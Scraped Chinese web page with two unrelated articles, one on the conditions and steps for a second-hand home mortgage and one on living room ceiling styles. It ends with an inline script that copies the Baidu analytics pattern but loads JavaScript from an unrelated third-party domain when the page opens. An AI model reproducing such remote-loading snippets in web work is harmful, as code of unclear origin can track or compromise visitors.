二手房按揭贷款条件及注意事项说明

导语：在这个楼价上涨不断的年代，许多工薪一族选择租房或者贷款购买二手房作为自己的住房。许多需要二手楼贷款的人由于对其中需要的要求不太清楚，而经常缺少完整材料的提供或直接放弃贷款买楼的愿望，这是一件遗憾的事。不要紧，小兔为大家分别介绍二手楼按揭贷款到底需要哪些条件，需要完成哪些程序以及在贷款过程中应该注意哪些事项，帮助大家轻松理解二手房按揭贷款的事。按揭贷款就是购房者以所购住房做抵押并由其所购买住房的房地产企业提供阶段性担保的个人住房贷款业务。办理房屋按揭贷款需要以下申请条件：1.申请人和配偶的身份证、户口原件及复印件3份(如申请人与配偶不属于同一户口的需另附婚姻关系证明)。2.购房协议书正本。3.房价30%或以上预付款收据原件及复印件各1份。4.申请人家庭收入证明材料和有关资产证明等，包括工资单、个人所得税纳税单、单位开具的收入证明、银行存单等。5.开发商的收款帐号1份。房屋按揭贷款办理的程序：一，办理按揭贷款申请。购房者在确认自己选择的房产得到银行按揭支持后，应向银行或银行指定的律师事务所了解银行关于购房者获得按揭贷款支持的规定，准备有关法律文件，填报《按揭贷款申请书》。二，签订购房合同。银行收到购房者递交的按揭申请有关法律文件，经审查确认购房者符合按揭贷款的条件后，发给购房者同意贷款通知或按揭贷款承诺书。购房者即可与发展商或其代理商签订《商品房预售、销售合同》。三，签订按揭合同。购房者在签订购房合同，并取得交纳房款的凭证后，持银行规定的有关法律文件与发展商和银行签订《按揭抵押贷款合同》明确按揭贷款数额、年期、利率、还款方式及其他权利义务。四，办理抵押登记、保险。购房者、发展商和银行持《按揭抵押贷款合同》及购房合同到房地产管理部门办理抵押登记备案手续。对期房，在竣工后应办理变更抵押登记。在通常情况下，由于按揭贷款期间相对较长，银行为防范贷款风险，要求购房者申请人寿、财产保险。购房者购买保险，应列明银行为第一受益人，在贷款履行期内不得中断保险，保险金额不得少于抵押物的总价值。在贷款本息还清之前，保险单交由银行执管。五，开立专门还款账户。购房者在签订《按揭抵押贷款合同》后，按合同约定，在银行指定的金融机构开立专门还款账户，并签订授权书，授权该机构从该账户中支付银行与按揭贷款合同有关的贷款本息和欠款。银行在确认购房者符合按揭贷款条件，履行《按揭抵押贷款合同》约定义务。并办理相关手续后，一次性将该贷款划入发展商在银行开设的银行监管账户，作为购房者的购房款。注意事项购房前需要咨询清楚该房屋是否可以进行按揭贷款，然后，准备好相关的申请材料，按照房屋按揭贷款的程序要求进行办理。小编提醒各位购房者，因各地的相关政策不同，所以，在购房前因到当地的房产管理部门进行咨询了解。看完是不是觉得很简单?只要提供完整的资料，按其步骤去完成就可以轻松搞定二手楼按揭贷款的麻烦事了。在一个陌生的城市，拥有自己的一套房子是每个人的梦想，这个房子就代表了家，是家支撑着我们生活和工作。小兔衷心希望各位读者早日拥有属于自己的房子，不管它是一手房、二手房、别墅、公寓还是其他，它都是我们的家，我们的港湾。

有经验的朋友，一起说说客厅双层吊顶好还是单层好

很多朋友在装修新房的时候总会有很多拿不定主意的想法与设计理念，比如客厅吊顶，有的人喜欢客厅双层吊顶，有的人喜欢客厅单层吊顶。其实，选择客厅双层吊顶在房间装修效果上，还是比较不错的，那么就一起来看下关于客厅双层吊顶的功能与好处吧。 客厅双层吊顶基本功能： 一位有经验的设计师朋友说客厅吊顶装修最好是选择客厅双层吊顶，其实，这取决于自己的想法和房间的空间结构。如果天花板位置在2.9米以上，那么在客厅吊顶款式上，你可以做客厅双层吊顶，不仅美观，而且添加一些三维空间，让我们感受到空间的宽敞，如果它小于2.8米，那么选择单层天花板，而不适合选择双层天花板，BEC因为单层不会产生压力。装修房屋时，为了使房屋看起来更漂亮，吊顶工程已经是装修前的必要工程。但是现在起居室里有一个双层天花板——我不知道你对起居室的双层天花板了解多少？让我们来看看客厅的双层天花板的功能和类型。客厅双层吊顶的材质选择： 吊顶在整个卧室的装饰中占有非常重要的位置。它不仅可以美化室内环境，还可以创造出丰富多彩的室内空间艺术形象。在选择吊顶装饰材料和设计方案时，应遵循节约材料、坚固、安全、美观、实用的原则。 客厅双层吊顶不仅在整个房间起到装饰作用，而且对居室布局也有一定的影响。传统文化认为天花板是天空的象征，而设计合理的起居室双层天花板可以使家庭幸福、身心健康。 以上就是关于装修新房时客厅吊顶款式的介绍，希望对你会有所帮助哦。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();